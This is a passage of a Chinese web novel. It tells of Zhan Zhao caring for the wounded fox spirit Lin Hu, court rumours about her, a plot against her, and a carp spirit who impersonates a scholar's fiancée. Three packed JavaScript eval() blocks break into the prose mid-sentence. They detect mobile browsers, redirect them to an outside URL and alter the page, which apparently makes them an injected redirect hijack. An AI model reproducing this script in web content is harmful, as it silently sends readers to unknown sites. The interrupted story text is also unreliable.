药汁刚碰到舌尖,林狐就猛地偏过头,喉咙里发出“呜呜”的抗拒声。太苦了!比上次她偷喝的黄连水还苦!她往后缩了缩,爪子扒着展昭的袖子,眼神里满是控诉——你怎么能给我喝这么难喝的东西! 展昭无奈地叹了口气。这几日喂药成了最难的事。林狐伤后虚弱,白日里大多是狐狸模样,毛茸茸的一团缩在榻上,看着可怜兮兮,可一到吃药时就变得异常机灵。要么装睡,要么用爪子把药碗扒到地上,最绝的是上次,竟趁他不注意,叼着药碗跑到院子里,把药全倒给了那棵老槐树。 “听话。”展昭的声音放得更柔,另一只手从怀里摸出个油纸包,打开来是块晶莹剔透的麦芽糖,“喝完药就给你这个,比上次的桂花糕还甜。” 林狐的豆豆眼亮了亮,视线在药碗和麦芽糖之间转了两圈,显然是在权衡。她知道自己后背的伤有多严重——那晚化人形挡刀时,刀锋划开皮肉的疼还刻在骨子里,后来公孙先生给她上药,用镊子夹出伤口里的碎布片,疼得她差点咬碎了牙。可药真的太苦了,苦得让她想起现代医院里的消毒水味。 “就一勺,先尝尝?”展昭又舀了点药汁递过来,眼神里带着哄诱。 林狐犹豫着往前凑了凑,鼻尖刚碰到勺子,突然猛地偏头,用爪子把勺子拍开。药汁洒在展昭的官袍上,晕开一小片深色的痕迹。她往后缩了缩,喉咙里发出委屈的呜咽,像是在说“我真的喝不了”。 展昭看着她湿漉漉的眼睛,心里像被什么东西揪了一下。这几日她反复感染,伤口总不好,夜里疼得直哆嗦,却从不肯大声叫,只是用爪子紧紧攥着他的衣角。他知道她怕疼,更怕这苦药,可不吃药,怎么能好? “林狐,”他把她抱进怀里,让她侧躺着,避开后背的伤,“你看,你现在连院子都不能去,槐树上的麻雀都比你自由。喝完药,等伤好了,我带你去城南的护城河边晒太阳,那里的小鱼最肥,你不是一直想抓来尝尝吗?” 林狐的耳朵动了动。抓鱼?她想起上次在河边,看见一群银闪闪的小鱼游来游去,当时展昭不让她下水,说怕她着凉。如果能好起来,是不是真的能去抓鱼? 见她有了动摇,展昭赶紧又舀了勺药汁,这次没直接递到她嘴边,而是用指尖蘸了点,轻轻点在她的鼻尖上。药汁的苦味沾在绒毛上,林狐下意识地伸出舌头去舔,结果舔了一嘴的苦。 “嗷呜!”她气鼓鼓地瞪着展昭,却看见他眼里的笑意,那笑意里没有不耐烦,只有温柔的纵容。心里的那点抗拒突然就松了,她认命地往前凑了凑,张开嘴,飞快地喝了一勺药汁。 苦!钻心的苦!林狐的脸瞬间皱成了一团,眼睛里涌出生理性的泪水,尾巴紧紧缠上展昭的手腕,像是在求安慰。 展昭赶紧把麦芽糖递到她嘴边。甜丝丝的味道在舌尖化开,慢慢压过苦味,林狐这才舒服地眯起眼,尾巴尖也放松下来,轻轻扫着他的手背。 “这才乖。”展昭笑了,继续一勺药一勺糖地喂。阳光透过窗棂照进来,落在他的官袍上,也落在林狐毛茸茸的背上,把药香和糖甜混在一起,竟有种奇异的暖意。 ***林狐的伤口总不见好。第一次感染是在第五天,原本开始愈合的伤口突然红肿起来,冒出白色的脓水,夜里烧得她浑身滚烫,缩在展昭怀里瑟瑟发抖。展昭抱着她守了一夜,用冷帕子不停地给她擦爪子,直到天快亮时,烧才退下去。 公孙策来看过,皱着眉说:“她是狐妖,体质本就与常人不同,这刀上淬了点不干净的东西,怕是对妖气有克制。”他重新换了药,又加了几味能“温养妖气”的药材,嘱咐展昭,“白日里多让她晒晒太阳,月光虽能助她化形,可这伤,还得靠阳气压一压。” 于是展昭每日巡逻回来,都要抱着林狐去院子里的老槐树下晒太阳。他坐在石凳上,让她趴在自己腿上,避开后背的伤,指尖轻轻梳理她的绒毛。阳光透过槐树叶的缝隙洒下来,落在她身上,暖得她直打哈欠,尾巴尖懒洋洋地搭在他的膝头。 “你看,那只黑猫又来偷东西了!”林狐突然用爪子指着厨房的方向,那里有只瘦骨嶙峋的黑猫,正叼着块剩馒头往外跑。 展昭顺着她指的方向看去,失笑:“那是张厨子养的猫,不是偷东西。”他低头看她,见她眼里满是好奇,忽然想起什么,“你现在白日里也能化人形了?” 林狐愣了愣,才反应过来自己刚才竟是用人的声音说的话。她低头看了看自己的爪子——还是毛茸茸的狐狸爪,可喉咙里发出的却是清晰的人声。这几日她总觉得身上有股奇怪的力气,有时想伸爪子,却突然变出人的手指;有时缩在展昭怀里,尾巴会突然变成人的手臂,缠上他的腰。 “好像……是这样。”她试着动了动耳朵,这次没发出狐鸣,而是清晰的话音,“我好像能自己控制了,不用等月亮出来。” 展昭的心跳漏了一拍。他看着腿上毛茸茸的狐狸,想象着她化人形时的样子——赤着脚站在阳光下,肩头的绒毛在光里泛着银,尾巴尖不安分地晃着。以前他总怕她化人形时被人撞见,可此刻,却突然很想看看她白日里化形的模样。 “想变回来吗?”他轻声问,指尖抚摸着她耳后柔软的绒毛。 林狐犹豫了一下,点了点头。一股暖意从心底涌上来,顺着血液流遍全身,毛茸茸的狐毛渐渐褪去,露出白皙的皮肤。她下意识地抓住展昭的衣襟挡在身前,耳朵还是毛茸茸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268109|182176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的狐狸耳,尾巴也没完全收回去,搭在他的腿上,轻轻扫着他的官袍。 “这样……是不是很奇怪?”她低头看着自己半人半狐的模样,有点不好意思。 展昭却觉得心口像被什么东西填满了,暖得发胀。他伸手把自己的外袍脱下来,披在她身上,遮住她裸露的肩膀,声音里带着自己都没察觉的温柔:“不奇怪,很好看。” 林狐的脸“腾”地红了,尾巴尖飞快地扫了他一下,又赶紧收了回去。阳光落在她泛红的脸颊上,像落了层金粉,看得展昭喉头微动,赶紧移开视线,假装去看天上的云。 ***日子一天天过去,林狐的伤口在反复感染几次后,终于慢慢愈合了。结痂的地方发痒,她总忍不住想用爪子去挠,每次都被展昭及时按住。 “不许挠,会留疤的。”他拿着公孙先生配的止痒药膏,用指尖蘸了点,小心翼翼地涂在她后背的结痂处。此刻林狐是人形,趴在榻上,肩膀微微耸着,显然是痒得难受。 “痒……”林狐的声音带着点撒娇的意味,尾巴从衣襟里探出来,不安分地晃着,“你轻点……” “嗯。”展昭的声音低哑,指尖避开那些还没脱落的痂,轻轻按揉着周围的皮肤。她的皮肤很软,像上好的绸缎,触得他指尖发麻。他能闻到她身上淡淡的药香,混着阳光晒过的味道,让他想起那些在槐树下晒太阳的午后。 窗外传来蒋平的笑声,大概是五鼠又在院子里斗嘴。自从公孙先生把林狐的身份告诉大家后,开封府的人倒没什么大惊小怪的。卢方说:“咱们连会说话的石头都见过,狐仙有什么稀奇?”韩彰更是直接,送来一瓶自己配的金疮药,说是“给那小狐狸补补”。最逗的是徐庆,总拿着烧鸡来探望,说是“看她伤了,得多补补肉”,结果每次都因为想摸毛茸茸,被林狐用爪子扒拉。 “展昭,”林狐突然开口,声音闷闷的,“他们会不会觉得我是妖怪,很可怕?” 展昭的动作顿了顿,俯身凑到她耳边,声音轻得像叹息:“不会。在我眼里,你不是妖怪,你是林狐,是……”他顿了顿,没再说下去,可眼里的温柔已经说明了一切。 林狐的耳朵动了动,尾巴尖悄悄缠上他的手腕。她知道他想说什么。这些日子他的陪伴,他的担忧,他喂药时的耐心,他看她时眼里的温柔,她都懂。以前她总觉得穿越到这里很倒霉,要不是遇见展昭,她可能早就冻死在哪个角落里了。 “等我好了,给你抓鱼吃。”她转过身,抱住他的腰,把脸埋在他的衣襟里,声音带着点鼻音,“城南护城河里的鱼,保证肥得流油。” 展昭笑了,伸手回抱住她,小心翼翼地避开她后背的伤。阳光透过窗棂照进来,落在两人交缠的身影上,把药香和暖意都裹了进来。他知道,林狐的伤总会好的,而他们的日子,才刚刚开始。 至于那些世俗的眼光,那些人妖殊途的顾虑,早就被他抛到了脑后。他只想守着眼前的人,看着她每日从榻上跳下来,吵着要吃糖,看着她化人形时耳朵上还没褪尽的绒毛,看着她用尾巴尖扫他的手腕,带着点撒娇的黏糊劲儿。 窗外的槐树叶沙沙作响,像在为他们唱一首温柔的歌。 18. 暗流汹涌 林狐背上的痂褪尽时,开封府的腊梅开了第一朵。她趴在窗边的软榻上,看着展昭在院子里练剑,巨阙剑的寒光裹着落雪,溅起的雪沫子像碎银。尾巴尖随着剑风的节奏轻轻晃着,忽然觉得后背有点痒——不是伤口的痒,是心里的痒,像有小爪子在挠。 “展昭,我想吃糖葫芦!”她突然化了人形,趴在窗台上喊。身上还裹着展昭的外袍,衣摆拖到地上,沾了点炉边的炭灰也不在意。 展昭收剑回头,雪落在他发间,像落了层霜。看见她半开的衣襟里露出的肩头,耳尖微微一红,快步走过来把窗户关了大半:“刚好些就往外冒,仔细再着凉。”话虽如此,还是伸手揉了揉她的头发,“等会儿巡街回来给你买,要沾芝麻的那种。” 林狐笑着点头,尾巴从袍角探出来,勾住他的手腕晃了晃。这几日她越发能自由控制形态,有时聊着天突然变回狐狸,蜷在展昭怀里听他读卷宗;有时正用爪子扒着药碗,指尖突然变成人的手指,笨拙地捏住碗沿。公孙策说这是“妖气渐稳”的征兆,还特意给她改了药,说是能让她化形更顺畅。 可她不知道,自己“狐妖”的身份,早已随着那晚的刺杀案,像投进湖面的石子,在开封城的上流阶层漾开了圈圈涟漪。 ***大理寺卿的寿宴设在澄瑞楼,雕梁画栋映着满街红灯,流水般的宴席从二楼一直排到楼下。展昭本不想来,却被包拯硬推着出席——毕竟陈世美案刚结,需得与朝中官员应酬一二。 他刚走到二楼回廊,就听见几个官员在角落低语,声音压得很低,却字字清晰地钻进耳朵:“听说了吗?开封府那个展护卫,竟养了只狐妖!” “可不是嘛!前几日夜袭开封府的,就是冲着那狐妖去的,听说那狐妖还化了人形,替展护卫挡了一刀呢!” “啧啧,人妖殊途,展护卫怎么如此糊涂?传出去成何体统!” 展昭握着剑柄的手紧了紧,指节泛白。他本想转身就走,却听见户部尚书叹了句:“说起来,那狐妖倒是痴情,竟为他挡刀……” “痴情?我看是祸水!”吏部侍郎冷笑一声,“自古妖物惑人,展护卫怕是被迷了心窍!” “够了。”展昭的声音冷得像冰,从回廊阴影里走出来。绯红官袍在灯火下泛着沉郁的光,眼神扫过众人,带着剑刃般的锐气,“林狐护开封府有功,并非你们口中的‘祸水’。若再让我听见半句诋毁,休怪展某无礼。” 官员们被他的气势慑住,讪讪地闭了嘴。展昭没再停留,转身下楼,袍角扫过栏杆上的积雪,留下一道浅浅的痕。他知道这些流言蜚语迟早会来,却没想到如此难听。他不在乎旁人怎么看自己,可一想到林狐缩在榻上,听见这些话时委屈的模样,心口就像被雪冻住了似的,又冷又沉。 ***几日后的早朝,包拯刚回府,就径直去了书房。展昭正在给林狐梳毛——她变回了狐狸模样,舒服地趴在他膝头,尾巴卷成个圈,时不时用脑袋蹭他的手。 “大人。”展昭起身行礼。 包拯摆摆手,坐在太师椅上,眉头微蹙:“方才在宫里,皇上召我问话了。” 展昭的心一紧:“皇上……问了林狐的事?” “嗯。”包拯端起茶杯,热气模糊了他的脸,“皇上听闻开封府有狐妖护院,还替你挡刀,觉得稀奇。”他顿了顿,看向展昭膝头的狐狸,“我把前因后果说了,包括她如何助我们破了挑拨案,如何在秦香莲案中示警,又如何在夜袭中护你……皇上听后,只叹了句‘妖亦有情,痴得可敬’。” 林狐的耳朵动了动,从展昭怀里抬起头,豆豆眼看向包拯——皇上?就是那个住在金銮殿里的人?他没说要抓我吗? 展昭轻轻按了按她的头,示意她安心,又问:“皇上没有降罪之意?” “非但没有,还赏了两匹云锦,说是给……给林狐做件新衣裳。”包拯的语气里带着点无奈的笑意,“皇上还说,开封府向来不拘一格,只要心怀正道,是人是妖又有何妨?” 展昭悬着的心终于落了下来,指尖抚过林狐柔软的绒毛,动作里带着释然。连皇上都能容她,那些流言蜚语,倒显得不值一提了。 林狐却突然从他怀里跳下来,化为人形,对着包拯福了福身,动作还有点笨拙:“谢包大人……也谢皇上。”她虽不懂朝堂规矩,却知道包拯在为她说话,皇上的“不降罪”对她意味着什么。 包拯看着她半人半狐的模样——耳朵还是毛茸茸的狐狸耳,尾巴垂在身后,不安分地扫着地面——忍不住笑了:“起来吧。往后在府里自在些便是,不必拘谨。” 等包拯走后,展昭才无奈地摇摇头,把外袍披在她肩上:“怎么突然化形了?仔细着凉。” 林狐却抱着他的腰,把脸埋在他的衣襟里,闷闷地说:“我怕……怕他们把我抓走,像戏文里那样,用雷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268110|182176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劈,用火烧……”她穿越前看过的古装剧里,狐妖的下场大多凄惨。 展昭的心像被针扎了一下,收紧手臂把她抱得更紧:“别怕,有我在。皇上都允了,没人敢动你。”他低头吻了吻她的发顶,声音坚定得像磐石,“我会护着你,一辈子。” 林狐在他怀里点了点头,尾巴悄悄缠上他的腰,像个找到依靠的孩子。窗外的腊梅香飘进来,混着他身上的皂角香,让她觉得安稳。 ***可安稳的日子没过几日,暗流便再次涌动。 城南的破庙里,几个蒙面人围坐在火堆旁,火光照着他们脸上狰狞的疤痕——是襄阳王的余孽。为首的黑衣人手里捏着块碎布,布上沾着点灰扑扑的绒毛,正是林狐上次在破庙打斗时留下的。 “那狐妖伤在后背,至今未愈,正是下手的好时机!”一个独眼龙恶狠狠地说,“只要抓住她,逼问出开封府的布防,再嫁祸给展昭,定能让那御猫身败名裂!” “哼,展昭护那狐妖护得紧,白日里寸步不离,夜里就守在她榻前,如何下手?”另一个瘦高个冷笑,“上次夜袭已经打草惊蛇,开封府的守卫比以前严了十倍。” 为首的黑衣人把玩着手里的飞镖,镖尖映着火光,闪着阴鸷的光:“硬闯不行,便来软的。那狐妖不是爱吃甜食吗?”他从怀里摸出个小瓷瓶,里面装着些白色的粉末,“这是西域来的‘锁妖散’,无色无味,混在糖里,哪怕是千年狐妖,吃了也会妖力尽失,任人宰割。” “大哥高见!”独眼龙谄媚地笑,“等抓住那狐妖,就让她亲眼看着展昭被咱们碎尸万段,替王爷报仇!” 火堆“噼啪”爆了个火星,映着他们扭曲的脸,像群蛰伏在暗处的恶鬼。 ***此时的开封府,林狐正趴在榻上,看着展昭给她剥橘子。橘瓣的甜香飘满屋子,她伸出爪子,想去够最后一瓣,指尖却突然变成了人的手指,轻轻碰上了展昭的指尖。 “又变了?”展昭笑着握住她的手,把橘瓣放进她掌心,“公孙先生说,你这几日妖气越发稳了,过些时日,或许就能像常人一样,想变就变了。” 林狐把橘瓣塞进嘴里,甜得眯起了眼。她看着展昭温柔的侧脸,忽然觉得,不管那些暗流有多汹涌,只要有他在,她就什么都不怕。 可她不知道,一张针对她的网,已经悄然拉开。窗外的腊梅落了片花瓣,飘在窗台上,像滴无声的泪。 19. 碧波狐影,鲤跃红尘 林狐背上的伤彻底收口那日,开封府的红梅开得正盛。展昭巡街回来时,手里提着个食盒,刚推开偏厅的门,就见软榻上空空荡荡,只留了根沾着绒毛的草绳——那是他前日给她编的玩具,此刻被啃得七零八落。 “林狐?”他心里一紧,快步走到院子里,就见墙头上蹲着个灰扑扑的影子,正费力地往墙外跳。尾巴卡在砖缝里,挣得毛都炸起来了,听见他的声音,耳朵“唰”地耷拉下来,活像只偷鸡被抓的黄鼠狼。 “你要去哪?”展昭又气又笑,走过去把她捞下来。林狐在他怀里扭了扭,变回人形,脸上还沾着草屑:“我听见城外碧波潭那边有好玩的声音,像银铃在水里响。” “不行,你伤刚好。”展昭捏了捏她的脸颊,指尖触到她耳后未褪尽的绒毛,“公孙先生说你现在妖气不稳,水边阴气重,容易招惹邪祟。” “可我闷了好久了。”林狐拉着他的袖子晃了晃,尾巴尖从衣襟里探出来,勾住他的手腕打了个结,“就去一小会儿,我保证不玩水,也不跟陌生妖怪说话。”她特意加重了“妖怪”二字,仿佛这样就能让承诺更可信。 展昭看着她亮晶晶的眼睛,终究没忍住叹了口气。这几日她总念叨着要出去,说在府里快闷成晒干的咸鱼了。他拗不过,只好换了身便服,牵着她的手往城外走。路过西街时,还特意买了两串糖葫芦,山楂裹着晶莹的糖衣,看得林狐眼睛都直了。 ***碧波潭离城有十里地,潭水碧绿得像块翡翠,岸边栽着成片的柳树,风一吹,枝条垂在水面上,荡起一圈圈涟漪。林狐一到地方就撒了欢,甩开展昭的手跑进柳树林,没多久就抱着只红嘴鸥跑回来,兴奋地喊:“展昭你看!它不怕我!” 红嘴鸥扑棱棱飞走时,潭水里突然冒起一串水泡。林狐好奇地凑过去,刚想伸手摸,水面“哗啦”一声,探出个梳着双丫髻的小姑娘脑袋,头发湿漉漉地贴在脸上,眼睛亮得像潭底的珍珠。 “你是谁?”小姑娘眨了眨眼,尾巴——一条覆盖着金红色鳞片的鱼尾——在水里轻轻拍打着,溅了林狐一脸水。 林狐被吓了一跳,下意识地变回狐狸模样,弓着背对着她龇牙。可闻到对方身上清冽的水汽,又觉得亲切,渐渐放下了戒备,摇着尾巴凑过去,用鼻尖碰了碰她伸出的手指。 “原来是只小狐狸妖。”鲤鱼精笑了,声音像泉水叮咚,“我叫小莲,就住在这潭里。”她指了指潭底,“我家有好多珍珠,比你爪子上的糖葫芦还亮。” 展昭走过来时,就见一只狐狸和一个鱼尾姑娘蹲在水边对视,画面奇异地和谐。他刚想开口,就听见柳树林深处传来读书声,清朗的男声穿过柳枝,落在水面上,惊起几只白鹭。 “那是张珍公子,”小莲的眼睛亮了亮,鱼尾轻轻拍打着水面,“他每天都在这里读书,声音好听极了。上次他读‘关关雎鸠’,我家的鲤鱼都跳出水面听呢。” 林狐顺着声音望去,只见潭边的草庐前,坐着个青衫书生,正摇头晃脑地吟诵着什么。她歪了歪头,突然化人形,拉着小莲的手说:“我们去看看吧!我还没见过书生读书呢!” ***自那以后,林狐几乎每日都要往碧波潭跑。有时是狐狸模样,蜷在草庐的窗台上听张珍读书,阳光透过窗棂照在她身上,暖得直打哈欠;有时化为人形,和小莲坐在潭边的石头上,分食展昭给她带的桂花糕,看夕阳把水面染成金红色。 “张公子好可怜,”林狐啃着桂花糕,含糊不清地说,“他岳父嫌他穷,把他赶到这里来,还说考不上功名就不让他娶牡丹小姐。上次我听见金府的管家骂他,说他是‘癞蛤蟆想吃天鹅肉’。” 小莲的尾巴在水里搅出圈圈涟漪,轻声道:“牡丹小姐我见过,上次她随金丞相来潭边赏景,穿得像朵金牡丹,生得也像画上的人,可眼神……有点冷。”她顿了顿,看向草庐的方向,眼里闪过一丝羡慕,“张公子每天读‘愿得一心人,白首不相离’,听得我心里酸酸的。他还说,等中了状元,就把牡丹小姐接来,在这里盖座大房子,种满牡丹。” 林狐没听懂,只是把手里的桂花糕分了一半给她:“别酸了,吃甜的就好了。你看,这糕里有桂花,甜丝丝的。” 可她没注意到,小莲看着草庐的眼神,渐渐多了些别的东西。那日张珍读到“蒹葭苍苍,白露为霜”时,小莲悄悄化了人形,穿着一身水绿色的衣裙,站在柳树下,裙摆上还沾着晶莹的水珠——那是她用潭底最亮的珍珠磨成粉,混着晨露织成的衣裳。 “张公子。”她轻声唤道。 张珍抬头,看见“牡丹”站在树下,惊得手里的书掉在地上:“牡丹小姐?你怎么来了?金丞相知道吗?” 小莲红了脸,低下头绞着衣角:“我……我偷偷来看你。听丫鬟说你在这里受苦,我心里……不安。”她模仿着从丫鬟那里听来的牡丹的语气,却不知自己眼里的温柔,比真牡丹多了千倍万倍。 躲在树后的林狐看得直咋舌,拉了拉身边的小莲——真正的小莲不知何时也上了岸,正紧张地看着树下的自己。“你什么时候变得这么像?”她小声问,“连声音都一样!你是不是偷学了我的变身术?” 小莲的脸更红了,拉着林狐躲进柳树林:“我就是……想让他开心点。他每天读书太辛苦了,眉头就没舒展过。” 林狐似懂非懂,只是觉得这样不太好:“可你不是真的牡丹啊,要是被发现了怎么办?金丞相那么凶,会打你的。” “不会的,”小莲的眼里闪着光,“我只陪他说说话,给他讲讲城里的趣事,等他考上功名,我就再也不来了。” ***可纸终究包不住火。那日张珍进城买笔墨,恰巧在金府门口遇见了真牡丹。她正坐着轿子经过,轿帘被风吹起一角,露出半张娇美的脸。 “牡丹小姐!”张珍欣喜地上前打招呼,手里还攥着给“她”买的花簪——上次小莲说喜欢城里的珠花,他省了半个月的束脩才买下。 真牡丹皱着眉,厌恶地看了他一眼,像看什么脏东西:“哪来的穷酸?也配叫我的名字?” 张珍愣在原地,还没反应过来,就被金府的家丁按在地上,诬陷他偷窥小姐,一顿拳打脚踢后,扔出了城。他趴在地上,手里的花簪摔断了,连同他心里那点微弱的希望,一起碎成了渣。 林狐在碧波潭边见到张珍时,他正坐在草庐前发呆,嘴角破了,青衫上沾着泥土,眼神空洞得像潭死水。“张公子,你怎么了?”她变回人形,递给他一块手帕——那是展昭给她绣的,上面有只歪歪扭扭的狐狸。 张珍抬头,看见她,苦笑了一下:“我今日见到牡丹了,她……她不认得我了。”他顿了顿,声音里带着绝望,“或许,她从来就没认过我。以前那些温柔,都是假的。” 林狐不知道该怎么安慰他,只好坐在他身边,陪着他一起发呆。夕阳西下时,小莲从水里探出头,看见张珍的样子,眼圈一下子红了。她悄悄化为人形,走到张珍面前,轻声说:“张公子,你别难过,她不是故意的,她……” “你走吧。”张珍打断她,声音疲惫,“我不想再自欺欺人了。不管你是谁,都别再来了。” 小莲的眼泪掉了下来,砸在地上,晕开一小片水渍。她看着张珍落寞的背影,突然拉住他的手:“公子,跟我走,我带你去找能证明真心的人!开封府的包大人最公正,他一定能还你清白!” ***展昭找到林狐时,她正蹲在路边,看着小莲拉着张珍往前走。“该回府了。”他走过去,把她揽进怀里,闻到她身上的水汽,眉头微蹙,“又玩水了?说了多少遍,你伤口刚好,不能沾水。” “没有!”林狐赶紧否认,指着张珍的背影说,“那个张公子好可怜,被他未婚妻欺负了。小莲说要带他去找包公评理呢!小莲是鲤鱼精,住在碧波潭里,她可厉害了,能变成别人的样子!” 展昭顺着她指的方向看去,认出那是金丞相的女婿张珍。前些日子开封府还收到过状纸,说金丞相嫌贫爱富,苛待女婿,只是当时忙着处理陈世美案,没来得及细查。他看着张珍失魂落魄的样子,又看了看那个水绿色衣裙的“牡丹”,总觉得哪里不对劲——金府的牡丹小姐,性子骄纵,绝非这般温柔模样。 “展昭,你看什么呢?”林狐扯了扯他的袖子,“小莲说她能证明张公子是好人。她说张公子读书可认真了,还会给潭里的小鱼讲故事。” 展昭低头看着她,忽然笑了。他凑到她耳边,声音低沉带着点痒:“那你告诉哥哥,那个牡丹小姐,是不是真的?你要是说了,我就再给你买两串糖葫芦,要最大的那种。” 林狐的脸“腾”地红了。她最受不了展昭这样叫她,声音软软的,带着点哄诱,让她想撒谎都难。她扭过头,小声说:“不是……她是小莲变的,小莲是鲤鱼精,住在碧波潭里。她怕张公子伤心,才变作牡丹小姐的样子陪他说话的。” “哦?”展昭挑眉,指尖轻轻挠了挠她的下巴,“那她还会别的本事吗?比如……变个别的什么出来?” 林狐的耳朵动了动,显然是动摇了。她想起小莲说过,潭里的龟爷爷能变戏法,上次还把她的珍珠变成了石子,害她哭了好久。 “还有西街的杏仁酥,”展昭继续加码,“明天让张厨子给你做一大盒,放你最喜欢的核桃碎。” “嗷呜!”林狐急了,用爪子拍了拍他的手,然后跳下地,跑到窗边,对着外面的月亮叫了两声,又指了指水里的影子。 展昭明白了。这狐狸是说,小莲的本事和月亮、水影有关? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268111|182176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他正想再问,就见公孙策匆匆进来:“大人,不好了!方才去牢里提审那两个牡丹,发现……发现牢里多了个包大人!” 展昭心里一惊,跟着包拯赶到牢房。果然,牢里坐着两个一模一样的包拯,都穿着官服,面沉似水,连额头上的月牙都分毫不差。 “这……”连包拯自己都愣住了,下意识地摸了摸自己的额头。 “是龟精变的!”林狐突然化人形,指着其中一个包拯说,“小莲说过,潭里的龟爷爷会变戏法,能变成任何人的样子!上次他还变成过我的样子,偷吃了展昭的桂花糕!” 展昭恍然大悟。难怪小莲如此镇定,原来是有帮手。他看向那个假包拯,冷声道:“龟仙既懂变化之术,想必也懂是非黑白。张珍与小莲情真意切,金丞相嫌贫爱富,你为何要助纣为虐?” 假包拯愣了愣,突然变回一只老龟,缩在角落里:“我……我只是受小莲所托,想帮她躲过一劫……那金丞相太凶了,说要把她剥了鳞片,做成汤……” ***金丞相见包拯也无法断案,竟请来了张天师。张天师穿着道袍,手持桃木剑,在开封府前设了法坛,口中念念有词,霎时间狂风大作,天兵天将从天而降,个个面无表情,直扑牢里的小莲。 “不好!”展昭拔剑想拦,却被天兵挡住。林狐急得在院子里团团转,尾巴扫倒了三个花盆,突然想起小莲说过,观音大士曾路过碧波潭,还夸她有慧根,给过她一片莲花瓣。她对着天空大喊:“观音菩萨!小莲是好人!她只是想跟喜欢的人在一起,求你救救她!” 话音刚落,天空突然降下一道金光,观音大士踏莲而来,拂尘一挥,天兵天将顿时停住了脚步。“小莲,”观音的声音温和如春风,“你本有成仙之缘,只要潜心修行,百年后便可位列仙班,为何执着于红尘情爱?” 小莲跪在地上,泪水涟涟:“回菩萨,成仙虽好,却无张郎相伴。我愿落红尘,与他共度此生,哪怕只有短短几十年,也胜过孤孤单单活千年。” 观音叹了口气,拂尘再次一挥,小莲身上的妖气渐渐散去,化作一个普通女子,只是眉间多了颗小小的朱砂痣。“也罢,情之一字,本就不分人与妖,只分真假。”她看向一旁的林狐,指尖落下一滴甘露,“你这小狐狸,虽顽皮,却有向善之心,这滴甘露便赠你,助你稳固灵力,往后好自为之。” 甘露落在林狐眉心,瞬间化作一股暖流,涌遍全身。她感觉后背一阵酥麻,尾巴上的绒毛变得更加蓬松光亮,化形时也再没有半分滞涩,连耳朵都能收放自如了。 张天师见状,知道是观音有意成全,只好收了法坛,悻悻离去。金丞相见事已至此,也只好认了这门亲事,只是提到小莲时,还是忍不住吹胡子瞪眼。 ***张珍与小莲成亲那日,开封府的人都去贺喜了。草庐被布置得喜气洋洋,红绸子从屋顶垂下来,映着潭水都成了粉红色。展昭穿着绯红官袍,牵着林狐的手,站在人群里,看着张珍用红绸牵着小莲,一步步走向拜堂的地方。 林狐穿着公孙策特意给她做的新衣裳,水绿色的裙摆上绣着鲤鱼跃龙门的图案,尾巴高兴地摇着,差点把桌上的酒壶扫到地上。 “慢点。”展昭扶住她的腰,无奈地笑。这几日她灵力大增,化人形时越发自在,也越发顽皮了,昨天还偷偷变作蒋平的样子,把徐庆的烧鸡藏了起来。 “你看他们!”林狐指着拜堂的张珍和小莲,眼里闪着光,“好热闹啊!他们还要喝交杯酒呢!展昭,我们也喝好不好?” 展昭顺着她指的方向看去,只见张珍牵着小莲的手,笑得一脸温柔。阳光洒在他们身上,像镀了层金。他低头看向怀里的林狐,她的眼睛亮晶晶的,映着红烛的光,像落了两颗星星。 “等你再长大些,”他凑到她耳边,声音低沉而温柔,“我也给你办一场这样的婚礼。比这更热闹,给你买最甜的糖葫芦,让全开封府的人都知道,你是我展昭的妻。” 林狐的脸瞬间红透了,埋进他怀里不肯抬头。尾巴尖却悄悄缠上他的手腕,像在说“好啊”。 碧波潭的水轻轻荡漾,映着岸边的红烛,映着新人的笑靥,也映着一对依偎的身影。展昭知道,往后的日子,他不仅要护着开封府的清明,还要护着怀里这只小狐狸的红尘梦。而那些人妖殊途的顾虑,早在看到小莲与张珍的坚定时,就化作了潭底的细沙,被温柔的水流,悄悄抚平。 林狐偷偷从他怀里探出头,看着远处正在抛绣球的小莲,突然小声说:“展昭,等我好了,我们也来碧波潭玩吧。我教你游泳,小莲说我尾巴大,游得可快了!” 展昭笑着点头,握紧了她的手。春风拂过,带来潭水的清冽和桃花的甜香,他知道,这人间的烟火,他和她,都要好好尝尝。 20. 醉狐 张珍与小莲的婚宴闹到月上中天才散。开封府的众人踏着满地碎红往回走,徐庆打着酒嗝,手里还攥着半只啃剩的鸡腿;蒋平摇着扇子,嘴里哼着不成调的小曲;展昭走在最后,手里牵着的林狐已经有些脚步虚浮。 “慢点走。”他侧头看她,烛光映在她脸上,能看见鼻尖沾着的一点酒渍——方才宴席上,她见小莲与张珍交杯,非要抢过展昭杯里的米酒尝鲜,说要“沾沾喜气”,结果半杯下肚,脸颊就红得像熟透的苹果。 